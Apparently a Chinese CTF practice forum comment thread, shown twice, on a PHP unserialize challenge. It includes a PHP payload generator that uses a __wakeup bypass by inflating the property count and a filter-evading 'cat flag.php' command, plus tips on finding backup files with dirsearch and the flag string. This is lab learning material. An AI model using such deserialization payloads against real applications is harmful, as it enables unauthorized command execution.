class ctf { protected $username = 'admin' ; protected $cmd = 'ca$@t flag.php' ; } $a = new ctf(); $a = serialize($a); $a = str_replace(':2:{',':3:{',$a); $a=urlencode($a); echo $a;
特别要注意下url编码的问题
https://blog.csdn.net/m0_57954651/article/details/127866733
flag{Unser1alize_and_2CE_Add},flag是不是没变
只要序列化的中的成员数大于实际成员数,即可绕过,虽然不是很懂,但是对这个有一个印象了 dirsearch很实用哦~
为什么我序列化后的protected属性是带有%20*%20而不是%00*%00
注意protect属性。
认输,查到backups后,哪哪没消息了。。。鬼知道起名index.php.bak,人与人的想法不一样。。index.php_bak_20220430
万能的dirsearch
分享:https://blog.csdn.net/zzldm/article/details/112004122
学到了学到了
...
评论
yuanyipaceandlove 1年前
举报
class ctf { protected $username = 'admin' ; protected $cmd = 'ca$@t flag.php' ; } $a = new ctf(); $a = serialize($a); $a = str_replace(':2:{',':3:{',$a); $a=urlencode($a); echo $a;
15683956189 2年前
举报
特别要注意下url编码的问题
泡椒控卫 2年前
举报
https://blog.csdn.net/m0_57954651/article/details/127866733
追风亚索 2年前
举报
flag{Unser1alize_and_2CE_Add},flag是不是没变
笨笨笨蛋 2年前
举报
只要序列化的中的成员数大于实际成员数,即可绕过,虽然不是很懂,但是对这个有一个印象了 dirsearch很实用哦~
YLMB001 2年前
举报
为什么我序列化后的protected属性是带有%20*%20而不是%00*%00
lysandria 2年前
举报
注意protect属性。
xiaoxiao972521 2年前
举报
认输,查到backups后,哪哪没消息了。。。鬼知道起名index.php.bak,人与人的想法不一样。。index.php_bak_20220430
SiiiirR0 2年前
举报
万能的dirsearch
落日星辰 2年前
举报
分享:https://blog.csdn.net/zzldm/article/details/112004122
sunny 2年前
举报
学到了学到了